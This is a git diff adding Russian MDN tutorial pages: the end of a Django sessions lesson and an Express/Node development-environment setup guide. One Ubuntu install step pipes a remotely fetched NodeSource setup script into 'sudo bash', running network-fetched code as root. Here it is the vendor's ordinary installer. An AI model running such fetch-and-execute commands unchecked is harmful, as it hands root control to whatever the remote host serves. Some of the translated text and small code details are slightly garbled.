сессий в других местах (кэше, файлах, "безопасных" куки). Но все же хранение по умолчанию является хорошей и безопасной возможностью.</p> + +<h2 id="Подключение_сессий">Подключение сессий</h2> + +<p>Сессии стали доступны автоматически в тот момент, когда мы <a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">создали скелет сайта</a> (во второй части руководства).</p> + +<p>Необходимые конфигурации выполняются в разделах <code>INSTALLED_APPS</code> и <code>MIDDLEWARE</code> файла проекта (<strong>locallibrary/locallibrary/settings.py</strong>), как показано ниже:</p> + +<pre class="brush: python">INSTALLED_APPS = [ + ... +<strong> 'django.contrib.sessions',</strong> + .... + +MIDDLEWARE = [ + ... +<strong> 'django.contrib.sessions.middleware.SessionMiddleware',</strong> + ....</pre> + +<h2 id="Применение_сессий">Применение сессий</h2> + +<p>Вы можете получить доступ к переменной <code>session</code>, в соответствующем отображении, через параметр <code>request</code> (<code>HttpRequest</code> передается как первый аргумент в каждое отображение). Переменная сессии является связью с определенным пользователем (или, если быть более точным, связью с определенным <em>браузером</em>, который определяется при помощи идентификатора (id) сессии, получаемого из куки браузера).</p> + +<p>Переменная (или поле) <code>session</code> является объектом-словарем, который служит для чтения и записи неограниченное число раз. С ним вы можете выполнять любые стандартные операции, включая очистку всех данных, проверку наличия ключа, циклы по данным и так далее. Большую часть времени вы будете тратить на обычные "словарные" операции - получения и установки значений.</p> + +<p>Ниже представлены фрагменты кода, которые показывают вам как получать, задавать и удалять некоторые данные при помощи ключа "<code>my_car</code>", связанного с текущей сессией (браузером). </p> + +<div class="note"> +<p><strong>Примечание</strong>: Одной из самых грандиозных вещей в Django является то, что вам не надо думать о механизме, который связывает сессию с текущим запросом в отображении. Во фрагменте ниже, все что вам надо знать, это то, что <code>my_car</code> связана с тем браузером, который отправил текущий запрос.</p> +</div> + +<pre class="brush: python"># Получение значения сессии при помощи ключа(то есть, 'my_car'). +# Если такого ключа нет, то возникнет ошибка KeyError +my_car = request.session['my_car'] + +# Получение значения сессии. Если значения не существует, +# то вернется значение по умолчанию ('mini') +my_car = request.session.get('my_car', 'mini') + +# Передача значения в сессию +request.session['my_car'] = 'mini' + +# Удаление значения из сессии +del request.session['my_car'] +</pre> + +<p>Данное API имеет другие методы, которые большей частью используются для управления куки, связанных с сессией. Например, существуют методы проверки того, что куки поддерживаются клиентским браузером, другие методы служат для установки и проверки предельных дат жизни куки, а также для очистки просроченных сессий из хранилища. Подробное описание API вы можете найти в разделе <a href="https://docs.djangoproject.com/en/1.10/topics/http/sessions/">Как использовать сессии</a> (Django docs).</p> + +<h2 id="Хранение_данных_сессии">Хранение данных сессии</h2> + +<p>По умолчанию Django сохраняет данные сессии в базу данных и отправляет соответствующие куки клиенту только тогда, когда сессия была <em>изменена</em>, или <em>удалена</em>. Если вы обновляете какие-либо данные при помощи ключа сессии, как показано в предыдущем фрагменте, тогда вам не надо беспокоиться о процессе сохранения! Например:</p> + +<pre class="brush: python"># Данное присваивание распознается как обновление сессии +# и данные будут сохранены +request.session['my_car'] = 'mini'</pre> + +<p>Если вы обновлете информацию <em>внутри</em> данных сессии, тогда Django не распознает эти изменения и не выполнит сохранение данных (например, если вы изменили "<code>wheels</code>" внутри переменной "<code>my_car</code>", как показано ниже). В таких случаях вам надо явно указывать, что сессия была изменена.</p> + +<pre class="brush: python"># Объект сессии модифицируется неявно. +# Изменения НЕ БУДУТ сохранены! +request.session['my_car']['wheels'] = 'alloy' + +# Явное указание, что данные изменены. +# Сессия будет сохранена, куки обновлены (если необходимо). +<code>request.session.modified = True</code> +</pre> + +<div class="note"> +<p><strong>Примечание</strong>: Вы можете изменить поведение сессий таким образом, чтобы они записывали любое свое изменение в базу данных и отправляли куки, при каждом запросе, путем установки <code>SESSION_SAVE_EVERY_REQUEST = True</code>, в файле настроек проекта (<strong>locallibrary/locallibrary/settings.py</strong>).</p> +</div> + +<h2 id="Простой_пример_—_получение_числа_визитов">Простой пример — получение числа визитов</h2> + +<p>В качестве примера из реального мира мы обновим нашу библиотеку так, чтобы сообщать пользователю количество совершенных им визитов главной страницы сайта <em>LocalLibrary</em>. </p> + +<p>Откройте <strong>/locallibrary/catalog/views.py</strong> и добавьте изменения, выделенных жирным, ниже. </p> + +<pre class="brush: python">def index(request): + ... + + num_authors=Author.objects.count() # The 'all()' is implied by default. + +<strong> # Number of visits to this view, as counted in the session variable. + num_visits=request.session.get('num_visits', 0) + request.session['num_visits'] = num_visits+1</strong> + + # Render the HTML template index.html with the data in the context variable. + return render( + request, + 'index.html', +<strong> context={'num_books':num_books,'num_instances':num_instances,'num_instances_available':num_instances_available,'num_authors':num_authors, + 'num_visits':num_visits}, # num_visits appended</strong> + )</pre> + +<p>В первую очередь мы получаем значение <code>'num_visits'</code> из сессии, возвращая 0, если оно не было установлено ранее. Каждый раз при получении запроса, мы увеличиваем данное значение на единицу и сохраняем его обратно в сессии (до следующего посещения данной страницы пользователем). Затем переменная <code>num_visits</code> передается в шаблон через переменную контекста <code>context</code>. </p> + +<div class="note"> +<p><strong>Примечание</strong>: Можно проверить наличие поддержки куки в браузере (для примера, смотрите <a href="https://docs.djangoproject.com/en/1.10/topics/http/sessions/">Как использовать сессии</a>), или разработать наш UI таким образом, чтобы это не имело значения.</p> +</div> + +<p>Для показа значения переменной, из следующего фрагмента добавьте нижнюю строчку кода в ваш шаблон главной страницы сайта (<strong>/locallibrary/catalog/templates/index.html</strong>), в его нижний раздел "Dynamic content":</p> + +<pre class="brush: html"><h2>Dynamic content</h2> + +<p>The library has the following record counts:</p> +<ul> +<li><strong>Books:</strong> \{{ num_books }}</li> +<li><strong>Copies:</strong> \{{ num_instances }}</li> +<li><strong>Copies available:</strong> \{{ num_instances_available }}</li> +<li><strong>Authors:</strong> \{{ num_authors }}</li> +</ul> + +<strong><p>You have visited this page \{{ num_visits }}{% if num_visits == 1 %} time{% else %} times{% endif %}.</p></strong> +</pre> + +<p>Сохраните ваши изменения и перезапустите сервер. Данное значение должно изменяться всякий раз, когда вы обновляете страницу.</p> + +<ul> +</ul> + +<h2 id="Итоги">Итоги</h2> + +<p>Вы узнали как применять сессии для улучшения взаимодейстсвие с <em>анонимными</em> пользователями. </p> + +<p>В наших следующих статьях мы рассмотрим фреймворк аутентификации и авторизации (разрешение доступа, permission), и покажем вам как поддерживать пользовательские аккаунты.</p> + +<h2 id="Смотрите_также">Смотрите также</h2> + +<ul> + <li><a href="https://docs.djangoproject.com/en/1.10/topics/http/sessions/">Как использовать сессии</a> (Django docs)</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Django/Generic_views", "Learn/Server-side/Django/Authentication", "Learn/Server-side/Django")}}</p> diff --git a/files/ru/learn/server-side/express_nodejs/development_environment/index.html b/files/ru/learn/server-side/express_nodejs/development_environment/index.html new file mode 100644 index 0000000000..30000c6470 --- /dev/null +++ b/files/ru/learn/server-side/express_nodejs/development_environment/index.html @@ -0,0 +1,391 @@ +--- +title: Setting up a Node development environment +slug: Learn/Server-side/Express_Nodejs/development_environment +translation_of: Learn/Server-side/Express_Nodejs/development_environment +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/Introduction", "Learn/Server-side/Express_Nodejs/Tutorial_local_library_website", "Learn/Server-side/Express_Nodejs")}}</div> + +<p class="summary">Теперь, когда вы знаете, что такое Express, мы покажем вам, как настроить и протестировать среду разработки Express для Windows, Linux (Ubuntu) и Mac OS X - какую бы операционную систему вы не использовали, эта статья должна дать вам все, что необходимо для возможности начать разрабатывать приложения Express.</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Требования:</th> + <td>Знание как открыть терминал / командную строку, как устанавливать программные пакеты в операционной системе вашего компьютера.</td> + </tr> + <tr> + <th scope="row">Задача:</th> + <td>Создать среду разработки для Express на вашем компьютере.</td> + </tr> + </tbody> +</table> + +<h2 id="Обзор_среды_разработки_Express">Обзор среды разработки Express</h2> + +<p><em>Node</em> и <em>Express</em> упрощают настройку вашего компьютера, чтобы вы могли начать разработку веб-приложений. В этом разделе объясняется, какие инструменты нужны, приводятся некоторые из самых простых способов установки Node (и Express) на Ubuntu, macOS, and Windows, и показывается как вы можете протестировать свою установку.</p> + +<h3 id="Что_такое_среда_разработки_Express">Что такое среда разработки Express?</h3> + +<p><span class="tlid-translation translation" lang="ru">Среда разработки Express включает в себя установку Nodejs, менеджера пакетов NPM и (необязательно) Express Application Generator на локальном компьютере.<br> + <br> + Узел и менеджер пакетов NPM устанавливаются вместе из подготовленных двоичных пакетов, установщиков, менеджеров пакетов операционной системы или из исходного кода (как показано в следующих разделах). Затем Express устанавливается NPM как зависимость от ваших отдельных веб-приложений Express (наряду с другими библиотеками, такими как механизмы шаблонов, драйверы баз данных, промежуточное программное обеспечение для аутентификации, промежуточное программное обеспечение для обслуживания статических файлов и т. Д.)<br> + <br> + NPM также можно использовать для (глобальной) установки Express Application Generator, удобного инструмента для создания каркасных веб-приложений Express, которые следуют шаблону MVC. Генератор приложений является необязательным, поскольку вам не нужно использовать этот инструмент для создания приложений, использующих Express, или для приложений для создан Express, имеющих одинаковую архитектурную разметку или зависимости. Мы будем использовать его, потому что это значительно облегчает начало работы и продвигает модульную структуру приложения.</span></p> + +<div class="note"> +<p><span class="tlid-translation translation" lang="ru"><span title="">Примечание: в отличие от некоторых других веб-сред, среда разработки не включает отдельный веб-сервер разработки.</span> <span title="">В Node / Express веб-приложение создает и запускает собственный веб-сервер!</span></span></p> +</div> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Существуют и другие периферийные инструменты, которые являются частью типичной среды разработки, в том числе текстовые редакторы или IDE для редактирования кода и инструменты управления исходным кодом, такие как Git, для безопасного управления различными версиями вашего кода.</span> <span title="">Мы предполагаем, что вы уже установили подобные инструменты (в частности, текстовый редактор).</span></span></p> + +<h3 id="Какие_операционные_системы_поддерживаются"><span class="tlid-translation translation" lang="ru"><span title="">Какие операционные системы поддерживаются?</span></span></h3> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Узел может быть запущен в Windows, macOS, во многих «разновидностях» Linux, Docker и т. Д. (Полный список на странице загрузок nodejs).</span> <span title="">Практически любой персональный компьютер должен иметь необходимую производительность для запуска Node во время разработки.</span> <span title="">Express работает в среде Node и, следовательно, может работать на любой платформе, на которой работает Node.</span><br> + <br> + <span title="">В этой статье мы предоставляем инструкции по установке для Windows, macOS и Ubuntu Linux.</span></span></p> + +<h3 id="Какую_версию_Node_Express_следует_использовать"><span class="tlid-translation translation" lang="ru"><span title="">Какую версию Node / Express следует использовать?</span></span></h3> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Существует множество выпусков Node - более новые выпуски содержат исправления ошибок, поддержку более свежих версий стандартов ECMAScript (JavaScript) и улучшения API-интерфейсов Node.</span><br> + <br> + <span title="">Как правило, вы должны использовать самый последний выпуск LTS (с долгосрочной поддержкой), поскольку он будет более стабильным, чем «текущий» выпуск, при этом все еще имея относительно недавние функции (и все еще активно поддерживается).</span> <span title="">Вы должны использовать Текущий выпуск, если вам нужна функция, которой нет в версии LTS.</span><br> + <br> + <span title="">Для Express вы всегда должны использовать последнюю версию.</span></span></p> + +<h3 id="Как_насчет_баз_данных_и_других_зависимостей"><span class="tlid-translation translation" lang="ru"><span title="">Как насчет баз данных и других зависимостей?</span></span></h3> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Другие зависимости, такие как драйверы баз данных, механизмы шаблонов, механизмы аутентификации и т. д., Являются частью приложения и импортируются в среду приложения с помощью диспетчера пакетов NPM.</span> <span title="">Мы обсудим их в следующих статьях для конкретных приложений.</span></span></p> + +<h2 id="Установка_Node">Установка Node</h2> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Чтобы использовать Express, сначала необходимо установить Nodejs и Node Package Manager (NPM) в вашей операционной системе.</span> <span title="">В следующих разделах описывается самый простой способ установки версии Nodejs с долгосрочной поддержкой (LTS) в Ubuntu Linux 16.04, macOS и Windows 10.</span></span></p> + +<div class="note"> +<p><span class="tlid-translation translation" lang="ru"><span title="">Совет: В следующих разделах показан самый простой способ установки Node и NPM на наши целевые платформы ОС.</span> <span title="">Если вы используете другую ОС или просто хотите увидеть некоторые другие подходы для текущих платформ, см. Установка Node.js через менеджер пакетов (nodejs.org).</span></span></p> +</div> + +<h3 id="Windows_и_macOS">Windows и macOS</h3> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Установка Node и NPM в Windows и macOS проста, потому что вы можете просто использовать предоставленный инсталлятор:</span></span></p> + +<ol> + <li><span class="tlid-translation translation" lang="ru"><span title="">Загрузите необходимый установщик:</span></span> + + <ol> + <li>Перейдите по ссылке <a href="https://nodejs.org/en/">https://nodejs.org/en/</a></li> + <li><span class="tlid-translation translation" lang="ru"><span title="">Нажмите кнопку, чтобы загрузить сборку LTS, которая «Рекомендуется для большинства пользователей».</span></span></li> + </ol> + </li> + <li><span class="tlid-translation translation" lang="ru"><span title="">Установите Node, дважды щелкнув по загруженному файлу и следуя инструкциям по установке.</span></span></li> +</ol> + +<h3 id="Ubuntu_16.04">Ubuntu 16.04</h3> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Самый простой способ установить последнюю версию LTS Node 6.x - это использовать</span></span> <a href="https://nodejs.org/en/download/package-manager/#debian-and-ubuntu-based-linux-distributions">package manager</a> <span class="tlid-translation translation" lang="ru"><span title="">чтобы получить его из репозитория бинарных дистрибутивов Ubuntu.</span> <span title="">Это можно сделать очень просто, выполнив следующие две команды на вашем терминале:</span></span></p> + +<pre class="brush: bash notranslate"><code>curl -sL https://deb.nodesource.com/setup_8.x | sudo -E bash - +sudo apt-get install -y nodejs</code> +</pre> + +<div class="warning"> +<p><strong>Внимание:</strong> <span class="tlid-translation translation" lang="ru"><span title="">Не устанавливайте напрямую из обычных репозиториев Ubuntu, поскольку они содержат очень старые версии узла.</span></span></p> +</div> + +<ol> +</ol> + +<h3 id="Проверка_вашей_установки_Nodejs_и_NPM">Проверка вашей установки Nodejs и NPM</h3> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Самый простой способ проверить, установлен ли этот узел, - это запустить команду «версия» в своем терминале / командной строке и проверить, что возвращается строка версии:</span></span></p> + +<pre class="brush: bash notranslate">>node -v +v8.11.3</pre> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Менеджер пакетов Nodejs NPM также должен быть установлен и может быть протестирован таким же образом:</span></span></p> + +<pre class="brush: bash notranslate">>npm -v +5.8.0</pre> + +<p><span class="tlid-translation translation" lang="ru"><span title="">В качестве немного более захватывающего теста давайте создадим очень простой сервер «чистого узла», который просто печатает «Hello World» в браузере, когда вы посещаете правильный URL в вашем браузере:</span></span></p> + +<ol> + <li><span class="tlid-translation translation" lang="ru"><span title="">Скопируйте следующий текст в файл с именем hellonode.js.</span> <span title="">Здесь используются чистые функции Node (ничего из Express) и некоторый синтаксис ES6:</span></span> + + <pre class="brush: js notranslate">//Загрузка моделя HTTP +const http = require("http"); +<code>const hostname = '127.0.0.1'; +const port = 3000; + +//Создание HTTP-сервера +const server = http.createServer((req, res) => { + + //Установка HTTP-заголовков ответа с HTTP-статусом и Content type + res.statusCode = 200; + res.setHeader('Content-Type', 'text/plain'); + res.end('Hello World\n'); +}); + +//Слушание запросов на порту 3000, и в качестве каллбака функция, которая пишет в лог +server.listen(port, hostname, () => { + console.log('Server running at http://${hostname}:${port}/'); +});</code> + +</pre> + + <p><span class="tlid-translation translation" lang="ru"><span title="">Код импортирует модуль «http» и использует его для создания сервера (createServer ()), который прослушивает HTTP-запросы на порту 3000. Затем сценарий выводит на консоль сообщение о том, какой URL-адрес браузера можно использовать для тестирования сервера.</span> <span title="">Функция createServer () принимает в качестве аргумента функцию обратного вызова, которая будет вызываться при получении HTTP-запроса - она просто возвращает ответ с кодом состояния HTTP 200 («ОК») и простым текстом «Hello World».</span></span></p> + + <div class="note"> + <p><span class="tlid-translation translation" lang="ru"><span title="">Замечание: не беспокойтесь, если вы еще не совсем понимаете, что делает этот код!</span> <span title="">Мы объясним наш код более подробно, как только мы начнем использовать Express!</span></span></p> + </div> + </li> + <li><span class="tlid-translation translation" lang="ru"><span title="">Запустите сервер, перейдя в тот же каталог, что и ваш файл hellonode.js в командной строке, и вызвав узел вместе с именем скрипта, например так:</span></span> + <pre class="brush: bash notranslate">>node hellonode.js +Server running at http://127.0.0.1:3000/ +</pre> + </li> + <li><span class="tlid-translation translation" lang="ru"><span title="">Перейдите к URL-адресу http://127.0.0.1:3000.</span> <span title="">Если все работает, браузер должен просто отобразить строку «Hello World».</span></span></li> +</ol> + +<h2 id="Использование_NPM">Использование NPM</h2> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Помимо самого Node, NPM является наиболее важным инструментом для работы с приложениями Node.</span> <span title="">NPM используется для получения любых пакетов (библиотек JavaScript), которые необходимы приложению для разработки, тестирования и / или производства, а также может использоваться для запуска тестов и инструментов, используемых в процессе разработки.</span></span></p> + +<div class="note"> +<p><strong>Замечание:</strong> <span class="tlid-translation translation" lang="ru"><span title="">С точки зрения Node, Express - это просто еще один пакет, который вам нужно установить с помощью NPM, а затем установить его в своем собственном коде.</span></span></p> +</div> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Вы можете вручную использовать NPM для получения каждого необходимого пакета отдельно.</span> <span title="">Обычно мы вместо этого управляем зависимостями, используя простой текстовый файл с именем package.json.</span> <span title="">В этом файле перечислены все зависимости для конкретного «пакета» JavaScript, включая имя пакета, версию, описание, исходный файл для выполнения, производственные зависимости, зависимости разработки, версии Node, с которыми он может работать, и т. Д. Файл package.json должен</span> <span title="">содержать все, что нужно NPM для загрузки и запуска вашего приложения (если вы пишете библиотеку многократного использования, вы можете использовать это определение для загрузки пакета в репозиторий npm и сделать его доступным для других пользователей).</span></span></p> + +<h3 id="Добавление_зависимостей">Добавление зависимостей</h3> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Следующие шаги показывают, как вы можете использовать NPM для загрузки пакета, сохранить его в зависимостях проекта, а затем потребовать его в приложении Node.</span></span></p> + +<div class="note"> +<p><strong>Замечание:</strong> <span class="tlid-translation translation" lang="ru"><span title="">Здесь мы показываем инструкции для получения и установки пакета Express.</span> <span title="">Позже мы покажем, как этот пакет и другие уже указаны для нас с помощью Express Application Generator.</span> <span title="">Этот раздел предоставлен, потому что полезно понять, как работает NPM и что создается генератором приложений.</span></span></p> +</div> + +<ol> + <li><span class="tlid-translation translation" lang="ru"><span title="">Сначала создайте каталог для вашего нового приложения и перейдите в него:</span></span> + + <pre class="brush: bash notranslate">mkdir myapp +cd myapp</pre> + </li> + <li><span class="tlid-translation translation" lang="ru"><span title="">Используйте команду npm init для создания файла package.json для вашего приложения.</span> <span title="">Эта команда запрашивает у вас несколько вещей, включая имя и версию вашего приложения, а также имя исходного файла точки входа (по умолчанию это index.js).</span> <span title="">Сейчас просто примите значения по умолчанию:</span></span> + <pre class="brush: bash notranslate">npm init</pre> + + <p><span class="tlid-translation translation" lang="ru"><span title="">Если вы отобразите файл package.json (cat package.json), вы увидите принятые по умолчанию значения, заканчивающиеся лицензией.</span></span></p> + + <pre class="brush: json notranslate">{ + "name": "myapp", + "version": "1.0.0", + "description": "", + "main": "index.js", + "scripts": { + "test": "echo \"Error: no test specified\" && exit 1" + }, + "author": "", + "license": "ISC" +} +</pre> + </li> + <li><span class="tlid-translation translation" lang="ru"><span title="">Теперь установите Express в каталог myapp и сохраните его в списке зависимостей вашего файла package.json</span></span></li> + <li> + <pre class="brush: bash notranslate">npm install express --save</pre> + + <p><span class="tlid-translation translation" lang="ru"><span title="">Раздел зависимостей вашего package.json теперь появится в конце файла package.json и будет содержать Express.</span></span></p> + + <pre class="brush: json notranslate">{ + "name": "myapp", + "version": "1.0.0", + "description": "", + "main": "index.js", + "scripts": { + "test": "echo \"Error: no test specified\" && exit 1" + }, + "author": "", + "license": "ISC", +<strong> "dependencies": { + "express": "^4.16.3" + }</strong> +} +</pre> + </li> + <li><span class="tlid-translation translation" lang="ru"><span title="">Для использования библиотеки вы вызываете функцию require (), как показано ниже в вашем файле index.js.</span></span> + <pre class="notranslate"><code><strong>const express = require('express')</strong> +const app = express(); + +app.get('/', (req, res) => { + res.send('Hello World!') +}); + +app.listen(</code>8000<code>, () => { + console.log('Example app listening on port </code>8000<code>!') +});</code> +</pre> + + <p><span class="tlid-translation translation" lang="ru"><span title="">Этот код показывает минимальное веб-приложение Express «HelloWorld».</span> <span title="">Это импортирует модуль «экспресс» и использует его для создания сервера (приложения), который прослушивает HTTP-запросы на порту 8000 и выводит на консоль сообщение, объясняющее, какой URL-адрес браузера можно использовать для тестирования сервера.</span> <span title="">Функция app.get () отвечает только на запросы HTTP GET с указанным URL-путем ('/'), в этом случае вызывая функцию для отправки нашего Hello World!</span> <span title="">сообщение.</span></span><br> + <br> + <span class="tlid-translation translation" lang="ru"><span title="">Создайте файл с именем index.js в корне каталога приложения «myapp» и передайте ему содержимое, показанное выше.</span></span></p> + </li> + <li><span class="tlid-translation translation" lang="ru"><span title="">Вы можете запустить сервер, вызвав узел с помощью скрипта в командной строке:</span></span> + <pre class="brush: bash notranslate">>node index.js +Example app listening on port 8000 +</pre> + </li> + <li><span class="tlid-translation translation" lang="ru"><span title="">Перейдите к URL </span></span> (<a href="http://127.0.0.1:8000/">http://127.0.0.1:8000/</a>) <span class="tlid-translation translation" lang="ru"><span title="">.</span> <span title="">Если все работает, браузер должен просто отобразить строку «Hello World!».</span></span></li> +</ol> + +<h3 id="Зависимости_разработки">Зависимости разработки</h3> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Если зависимость используется только во время разработки, вы должны вместо этого сохранить ее как «зависимость разработки» (чтобы пользователям вашего пакета не приходилось устанавливать ее в производстве).</span> <span title="">Например, чтобы использовать популярный инструмент JavaScript Linting eslint, вы должны вызвать NPM, как показано ниже:</span></span></p> + +<pre class="brush: bash notranslate"><code>npm install eslint --save-dev</code></pre> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Следующая запись будет добавлена в package.json вашего приложения:</span></span></p> + +<pre class="brush: js notranslate"> "devDependencies": { + "eslint": "^4.12.1" + } +</pre> + +<div class="note"> +<p><span class="tlid-translation translation" lang="ru"><span title="">Примечание: «Линтеры» - это инструменты, которые выполняют статический анализ программного обеспечения, чтобы распознавать и сообщать о приверженности / несоблюдении некоторого набора лучших практик кодирования.</span></span></p> +</div> + +<h3 id="Запуск_задач"><span class="tlid-translation translation" lang="ru"><span title="">Запуск задач</span></span></h3> + +<p><span class="tlid-translation translation" lang="ru"><span title="">В дополнение к определению и извлечению зависимостей вы также можете определить именованные скрипты в ваших файлах package.json и вызвать NPM, чтобы выполнить их с помощью команды run-script.</span> <span title="">Этот подход обычно используется для автоматизации выполнения тестов и частей набора инструментов разработки или сборки (например, запуска инструментов для минимизации JavaScript, сжатия изображений, LINT / анализа вашего кода и т. Д.).</span></span></p> + +<div class="note"> +<p><strong>Замечание:</strong> <span class="tlid-translation translation" lang="ru"><span title="">Для запуска тестов и других внешних инструментов могут также использоваться такие исполнители, как Gulp и Grunt.</span></span></p> +</div> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Например, чтобы определить скрипт для запуска зависимости разработки eslint, которую мы указали в предыдущем разделе, мы могли бы добавить следующий блок скрипта в наш файл package.json (при условии, что наш источник приложения находится в папке / src / js):</span></span></p> + +<pre class="brush: js notranslate">"scripts": { + ... + "lint": "eslint src/js" + ... +} +</pre> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Чтобы пояснить немного подробнее, eslint src / js - это команда, которую мы могли бы ввести в нашем терминале / командной строке, чтобы запустить eslint для файлов JavaScript, содержащихся в каталоге src / js внутри каталога нашего приложения.</span> <span title="">Включение вышеупомянутого в файл package.json нашего приложения обеспечивает ярлык для этой команды - lint.</span></span></p> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Затем мы сможем запустить eslint с помощью NPM, вызвав:</span></span></p> + +<pre class="brush: bash notranslate"><code>npm run-script lint +# OR (using the alias) +npm run lint</code> +</pre> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Этот пример может выглядеть не короче, чем исходная команда, но вы можете включить в свои сценарии npm гораздо более крупные команды, включая цепочки из нескольких команд.</span> <span title="">Вы можете определить один скрипт npm, который запускает все ваши тесты одновременно.</span></span></p> + +<h2 id="Установка_Express_Application_Generator">Установка Express Application Generator</h2> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Инструмент Express Application Generator создает «скелет» приложения Express.</span> <span title="">Установите генератор, используя NPM, как показано (флаг -g устанавливает инструмент глобально, чтобы вы могли вызывать его из любого места):</span></span></p> + +<pre class="notranslate"><code>npm install express-generator -g</code></pre> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Чтобы создать приложение Express с именем «helloworld» с настройками по умолчанию, перейдите туда, где вы хотите его создать, и запустите приложение, как показано ниже:</span></span></p> + +<pre class="brush: bash notranslate">express helloworld</pre> + +<div class="note"> +<p><strong>Замечание:</strong> <span class="tlid-translation translation" lang="ru"><span title="">Вы также можете указать библиотеку шаблонов для использования и ряд других настроек.</span> <span title="">Используйте команду help, чтобы увидеть все параметры:</span></span></p> + +<pre class="brush: bash notranslate">express --help +</pre> +</div> + +<p><span class="tlid-translation translation" lang="ru"><span title="">NPM создаст новое приложение Express в подпапке вашего текущего местоположения, отображая процесс сборки на консоли.</span> <span title="">По завершении инструмент отобразит команды, которые необходимо ввести, чтобы установить зависимости Node и запустить приложение.</span></span></p> + +<div class="note"> +<p><span class="tlid-translation translation" lang="ru"><span title="">Новое приложение будет иметь файл package.json в своем корневом каталоге.</span> <span title="">Вы можете открыть это, чтобы увидеть, какие зависимости установлены, включая Express и библиотеку шаблонов Jade:</span></span></p> + +<pre class="brush: js notranslate">{ + "name": "helloworld", + "version": "0.0.0", + "private": true, + "scripts": { + "start": "node ./bin/www" + }, + "dependencies": { + "body-parser": "~1.18.2", + "cookie-parser": "~1.4.3", + "debug": "~2.6.9", + "express": "~4.15.5", + "jade": "~1.11.0", + "morgan": "~1.9.0", + "serve-favicon": "~2.4.5" + } +}</pre> +</div> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Установите все зависимости для приложения helloworld, используя NPM, как показано ниже:</span></span></p> + +<pre class="brush: bash notranslate">cd helloworld +npm install +</pre> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Затем запустите приложение (команды немного отличаются для Windows и Linux / macOS), как показано ниже:</span></span></p> + +<pre class="brush: bash notranslate"># Run the helloworld on Windows with Command Prompt +SET DEBUG=helloworld:* & npm start + +# Run the helloworld on Windows with PowerShell +SET DEBUG=helloworld:* | npm start + +# Run helloworld on Linux/macOS +DEBUG=helloworld:* npm start +</pre> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Команда DEBUG создает полезное ведение журнала, что приводит к выводу, подобному показанному ниже.</span></span></p> + +<pre class="brush: bash notranslate">>SET DEBUG=helloworld:* & npm start + +> helloworld@0.0.0 start D:\Github\expresstests\helloworld +> node ./bin/www + + helloworld:server Listening on port 3000 +0ms</pre> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Откройте браузер и перейдите по адресу http://127.0.0.1:3000/, чтобы увидеть страницу приветствия Express по умолчанию.</span></span></p> + +<p><img alt="Express - Generated App Default Screen" src="https://mdn.mozillademos.org/files/14331/express_default_screen.png" style="border-style: solid; border-width: 1px; display: block; height: 301px; margin: 0px auto; width: 675px;"></p> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Мы поговорим больше о сгенерированном приложении, когда перейдем к статье о создании каркасного приложения.</span></span></p> + +<ul> +</ul> + +<h2 id="Резюме">Резюме</h2> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Теперь на вашем компьютере установлена и запущена среда разработки Node, которую можно использовать для создания веб-приложений Express.</span> <span title="">Вы также увидели, как NPM можно использовать для импорта Express в приложение, а также как вы можете создавать приложения с помощью инструмента Express Application Generator и затем запускать их.</span><br> + <br> + <span title="">В следующей статье мы начнем работу с учебным пособием по созданию полноценного веб-приложения с использованием этой среды и связанных инструментов.</span></span></p> + +<h2 id="Смотрите_также">Смотрите также</h2> + +<ul> + <li><a href="https://nodejs.org/en/download/">Downloads</a> page (nodejs.org)</li> + <li><a href="https://nodejs.org/en/download/package-manager/">Installing Node.js via package manager</a> (nodejs.org)</li> + <li><a href="http://expressjs.com/en/starter/installing.html">Installing Express</a> (expressjs.com)</li> + <li><a href="https://expressjs.com/en/starter/generator.html">Express Application Generator</a> (expressjs.com)</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/Introduction", "Learn/Server-side/Express_Nodejs/Tutorial_local_library_website", "Learn/Server-side/Express_Nodejs")}}</p> + +<h2 id="В_этом_модуле">В этом модуле</h2> + +<ul> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Introduction">Express/Node introduction</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/development_environment">Setting up a Node (Express) development environment</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Express Tutorial: The Local Library website</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Express Tutorial Part 2: Creating a skeleton website</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/mongoose">Express Tutorial Part 3: Using a Database (with Mongoose)</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/routes">Express Tutorial Part 4: Routes and controllers</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express Tutorial Part 5: Displaying library data</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms">Express Tutorial Part 6: Working with forms</a></li> + <li><a 